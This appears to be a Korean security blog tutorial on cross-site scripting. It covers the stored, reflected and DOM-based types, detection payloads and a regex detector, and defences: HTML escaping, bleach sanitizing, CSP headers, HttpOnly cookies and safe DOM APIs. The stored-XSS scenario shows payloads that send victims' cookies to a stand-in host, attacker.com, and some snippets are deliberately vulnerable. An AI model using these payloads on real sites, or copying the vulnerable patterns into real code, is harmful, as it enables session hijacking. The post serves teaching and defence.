크로스 사이트 스크립팅 (Cross-Site Scripting, XSS)
크로스 사이트 스크립팅
XSS 완전 정복
웹 취약점 중 가장 오래됐지만 여전히 가장 많이 발생하는 공격, XSS의 원리부터 방어 코드까지 실무 중심으로 완전히 분석합니다.
XSS란 무엇인가?
크로스 사이트 스크립팅(Cross-Site Scripting, XSS)은 공격자가 신뢰받는 웹사이트에 악성 스크립트를 주입하여, 그 스크립트가 다른 사용자의 브라우저에서 실행되도록 만드는 공격입니다.
이름에 왜 "스크립팅"이 붙었을까요? 핵심은 스크립트(JavaScript)입니다. 브라우저는 서버에서 내려온 HTML 안에 있는 JavaScript를 기본적으로 신뢰하고 실행합니다. 공격자는 이 신뢰 관계를 악용하여 자신의 악성 코드를 "정상적인 페이지의 일부인 척" 심어 놓습니다.
한 줄 요약으로 이해하기
게시판에 글을 쓸 때, 글 내용 안에 <script>alert('해킹')</script>를
넣었더니 다른 사람이 그 글을 읽는 순간 팝업이 뜬다 —
이게 XSS의 가장 단순한 형태입니다. 팝업 대신 쿠키 탈취, 키로깅, 악성 사이트 리다이렉트로
이어지면 실제 공격이 됩니다.
XSS의 3가지 유형
Reflected = URL에 실려 즉시 반사 → 클릭한 사람만 피해 (총알형)
DOM-based = 서버 무관, 브라우저 내에서만 발생 (은밀형)
공격 시나리오 — 실제로 어떻게 터지나?
시나리오 1 — Stored XSS: 게시판 댓글 공격
공격자가 게시판 댓글에 아래와 같은 내용을 입력합니다. 서버가 이 내용을 검증 없이 DB에 저장하면, 이후 해당 글을 읽는 모든 사용자의 브라우저에서 스크립트가 실행됩니다.
<!-- 공격자가 댓글 입력창에 작성하는 내용 --> <script> // 피해자의 쿠키(세션)를 공격자 서버로 전송 const stolen = document.cookie; new Image().src = `https://attacker.com/steal?c=${stolen}`; </script> <!-- 또는 img 태그를 이용한 방법 (스크립트 필터 우회) --> <img src="x" onerror="fetch('https://attacker.com/?c='+document.cookie)">
Stored XSS 공격 흐름
시나리오 2 — Reflected XSS: 검색어 반사 공격
검색 기능을 가진 사이트에서 검색어를 URL 파라미터로 받아 그대로 HTML에 출력할 때 발생합니다.
# ❌ 취약한 코드 — query를 그대로 HTML에 삽입 from fastapi import FastAPI from fastapi.responses import HTMLResponse app = FastAPI() @app.get("/search") async def search(q: str): # URL: /search?q=<script>alert(1)</script> # → 브라우저에서 스크립트 실행됨! return HTMLResponse(f"<p>검색 결과: {q}</p>") # ↑ 검증 없이 그대로 출력
시나리오 3 — DOM-based XSS: URL 해시 악용
// ❌ URL: https://example.com/#<img src=x onerror=alert(1)> // location.hash를 그대로 innerHTML에 삽입 → 즉시 실행 const name = location.hash.slice(1); // "#" 제거 document.getElementById('greeting').innerHTML = `환영합니다, ${name}`; // ↑ innerHTML = HTML 파싱 → 스크립트 실행!
XSS로 무엇을 할 수 있나?
| 공격 유형 | 방법 | 심각도 |
|---|---|---|
| 세션 하이재킹 Session Hijacking |
document.cookie를 탈취하여 공격자 서버로 전송 → 로그인 세션 탈취 |
매우 높음 |
| 키로깅 Keylogging |
페이지에 keydown 이벤트 리스너 주입 → 입력한 아이디/비밀번호 수집 | 매우 높음 |
| 피싱 페이지 생성 Phishing |
정상 사이트 UI를 가짜 로그인 폼으로 교체 → 자격증명 수집 | 높음 |
| CSRF 공격 연계 CSRF Chaining |
XSS로 피해자 권한을 이용해 CSRF 공격 자동 실행 (계정 삭제, 송금 등) | 매우 높음 |
| 악성 사이트 리다이렉트 Redirect |
location.href를 통해 피해자를 악성 사이트로 강제 이동 |
중간 |
| UI 변조 Defacement |
페이지 내용을 공격자가 원하는 내용으로 변경 | 낮음 |
탐지 방법
수동 테스트 — 기본 페이로드 삽입
모든 사용자 입력 필드(검색창, 댓글, URL 파라미터, HTTP 헤더 등)에 아래 페이로드를 삽입하여 실행 여부를 확인합니다.
# 기본 스크립트 태그 <script>alert('XSS')</script> # 이벤트 핸들러 이용 (스크립트 태그 필터링 우회) <img src=x onerror=alert(1)> <svg onload=alert(1)> <body onload=alert(1)> # HTML 인코딩 우회 시도 <script>alert(1)</script> # JavaScript URI <a href="javascript:alert(1)">클릭</a> # DOM-based 테스트용 URL https://target.com/page#<img src=x onerror=alert(1)>
자동화 도구
OWASP ZAP — 무료 오픈소스 DAST 도구, XSS 자동 스캔 지원
XSStrike — Python 기반 XSS 특화 자동화 도구
Dalfox — Go 기반 XSS 스캐너, CI/CD 파이프라인 통합 가능
Python으로 XSS 페이로드 탐지 로직 구현
import re # XSS 위험 패턴 정의 XSS_PATTERNS = [ re.compile(r'<script[\s\S]*?>', re.IGNORECASE), # <script> 태그 re.compile(r'on\w+\s*=', re.IGNORECASE), # onerror=, onload= 등 re.compile(r'javascript\s*:', re.IGNORECASE), # javascript: URI re.compile(r'<iframe[\s\S]*?>', re.IGNORECASE), # <iframe> re.compile(r'<img[^>]+onerror', re.IGNORECASE), # img onerror re.compile(r'document\.(cookie|write|location)', re.IGNORECASE), ] def detect_xss(user_input: str) -> dict: """입력값에서 XSS 페이로드 탐지""" detected = [] for pattern in XSS_PATTERNS: if pattern.search(user_input): detected.append(pattern.pattern) return { "is_xss": len(detected) > 0, "matched_patterns": detected, "risk_level": "HIGH" if detected else "SAFE" } # 테스트 print(detect_xss('<script>alert(1)</script>')) # {'is_xss': True, 'matched_patterns': [...], 'risk_level': 'HIGH'}
방어 코드 — Python / FastAPI 실전
② 입력 검증(Input Validation) — 허용된 값만 통과시키는 화이트리스트 방식
③ CSP 헤더(Content Security Policy) — 브라우저가 실행할 수 있는 스크립트 출처 제한
① 출력 인코딩 — HTML 이스케이핑
from fastapi import FastAPI from fastapi.responses import HTMLResponse from markupsafe import escape # pip install markupsafe app = FastAPI() @app.get("/search") async def search(q: str): # ✅ escape()로 HTML 특수문자를 엔티티로 변환 # < → < > → > " → " ' → ' safe_q = escape(q) return HTMLResponse(f"<p>검색 결과: {safe_q}</p>") # 입력: <script>alert(1)</script> # 출력: <script>alert(1)</script> ← 브라우저가 텍스트로 표시, 실행 안 됨
② HTML 새니타이징 — 허용 태그만 통과
사용자가 HTML 형식의 입력을 할 수 있어야 하는 경우(리치 텍스트 에디터 등), 이스케이핑 대신 허용된 태그만 남기고 나머지를 제거하는 새니타이징을 사용합니다.
import bleach # pip install bleach # 허용할 태그와 속성 명시 (화이트리스트 방식) ALLOWED_TAGS = ['b', 'i', 'u', 'em', 'strong', 'p', 'br', 'ul', 'li'] ALLOWED_ATTRS = {'a': ['href', 'title']} def sanitize_html(user_html: str) -> str: """허용된 HTML 태그만 유지, 나머지 제거""" return bleach.clean( user_html, tags=ALLOWED_TAGS, attributes=ALLOWED_ATTRS, strip=True # 허용 안 된 태그 제거 (False면 이스케이프) ) # 테스트 evil = '<b>굵게</b><script>alert(1)</script><img onerror=alert(1) src=x>' print(sanitize_html(evil)) # <b>굵게</b> ← <script>와 <img onerror>는 제거됨
③ Content Security Policy (CSP) 헤더 설정
CSP는 브라우저에게 "이 도메인에서 온 스크립트만 실행해"라고 지시하는 HTTP 응답 헤더입니다. XSS가 성공해도 외부 서버로 데이터를 보내지 못하게 막습니다.
from fastapi import FastAPI, Request from fastapi.responses import Response from starlette.middleware.base import BaseHTTPMiddleware app = FastAPI() class SecurityHeadersMiddleware(BaseHTTPMiddleware): async def dispatch(self, request: Request, call_next): response = await call_next(request) # CSP: 같은 출처 스크립트만 허용, inline 스크립트 차단 response.headers["Content-Security-Policy"] = ( "default-src 'self'; " "script-src 'self'; " # 외부 JS 차단 "style-src 'self' 'unsafe-inline'; " "img-src 'self' data:; " "object-src 'none';" # Flash 등 차단 ) # XSS 필터 강제 활성화 (구형 브라우저용) response.headers["X-XSS-Protection"] = "1; mode=block" # MIME 스니핑 차단 response.headers["X-Content-Type-Options"] = "nosniff" return response app.add_middleware(SecurityHeadersMiddleware)
④ HttpOnly 쿠키 — 세션 탈취 원천 차단
XSS가 성공하더라도 HttpOnly 속성이 설정된 쿠키는
document.cookie로 접근할 수 없습니다. 세션 하이재킹을 차단하는
마지막 방어선입니다.
from fastapi import FastAPI from fastapi.responses import JSONResponse app = FastAPI() @app.post("/login") async def login(): response = JSONResponse({"message": "로그인 성공"}) response.set_cookie( key="session_id", value="secure_session_token", httponly=True, # ✅ JS에서 접근 불가 → XSS로 탈취 불가 secure=True, # ✅ HTTPS에서만 전송 samesite="strict", # ✅ CSRF 방어 max_age=3600 # 1시간 만료 ) return response
⑤ DOM-based XSS 방어 — 안전한 DOM API 사용
// ❌ 위험: innerHTML은 HTML을 파싱하여 스크립트 실행 가능 element.innerHTML = userInput; // ✅ 안전: textContent는 텍스트로만 처리, 스크립트 실행 안 됨 element.textContent = userInput; // ✅ 안전: createElement + createTextNode 조합 const p = document.createElement('p'); p.appendChild(document.createTextNode(userInput)); // ✅ DOMPurify 라이브러리 사용 (HTML 입력이 꼭 필요한 경우) import DOMPurify from 'dompurify'; element.innerHTML = DOMPurify.sanitize(userInput);
보안 체크리스트
| # | 항목 | 확인 방법 | 우선순위 |
|---|---|---|---|
| 1 | 모든 출력에 HTML 이스케이핑 적용 | escape() 또는 템플릿 엔진 자동 이스케이핑 확인 |
필수 |
| 2 | innerHTML 사용 지점 점검 | 코드에서 innerHTML 검색 → textContent로 교체 또는 DOMPurify 적용 |
필수 |
| 3 | CSP 헤더 설정 | 응답 헤더에 Content-Security-Policy 존재 여부 확인 |
필수 |
| 4 | HttpOnly 쿠키 설정 | 세션 쿠키에 httponly=True, secure=True 확인 |
필수 |
| 5 | Jinja2/템플릿 자동 이스케이핑 | autoescape=True 설정 확인, |safe 필터 사용 지점 점검 |
권장 |
| 6 | URL 파라미터 출력 검증 | 쿼리스트링 값이 HTML에 그대로 출력되는 코드 확인 | 권장 |
| 7 | DAST 자동 스캔 | OWASP ZAP 또는 Burp Suite로 배포 전 자동 XSS 스캔 | 권장 |
🔐 핵심 요약
- XSS는 공격자가 신뢰받는 웹페이지에 악성 스크립트를 주입하여 피해자 브라우저에서 실행시키는 공격입니다.
- 유형은 저장형(Stored) · 반사형(Reflected) · DOM 기반(DOM-based) 3가지이며, 저장형의 피해 범위가 가장 넓습니다.
- 결과는 단순 팝업이 아닌 세션 탈취 → 계정 장악, 키로깅, CSRF 연계 공격으로 이어질 수 있습니다.
- 방어의 기본은 출력 인코딩이며, CSP 헤더와 HttpOnly 쿠키를 함께 적용하면 방어 레이어가 완성됩니다.
- DOM-based XSS는 서버 로그에 안 잡히므로
innerHTML사용 지점을 코드 리뷰로 반드시 점검해야 합니다. - OWASP ZAP, Burp Suite 등 DAST 도구로 배포 전 자동 스캔을 CI/CD 파이프라인에 통합하는 것이 실무 표준입니다.
'보안 공부' 카테고리의 다른 글
| 서버 관리자가 실수하기 쉬운SSH 설정 5가지 알아보기 (0) | 2026.05.11 |
|---|---|
| 파일 업로드 취약점 (0) | 2026.05.11 |
| 웹사이트 보안 헤더, Python 3줄로 점검하기 (0) | 2026.05.04 |
| Insecure Direct Object Reference (1) | 2026.05.03 |
| SQL Injection 데이터베이스를 노리는 가장 오래된 공격 (0) | 2026.05.03 |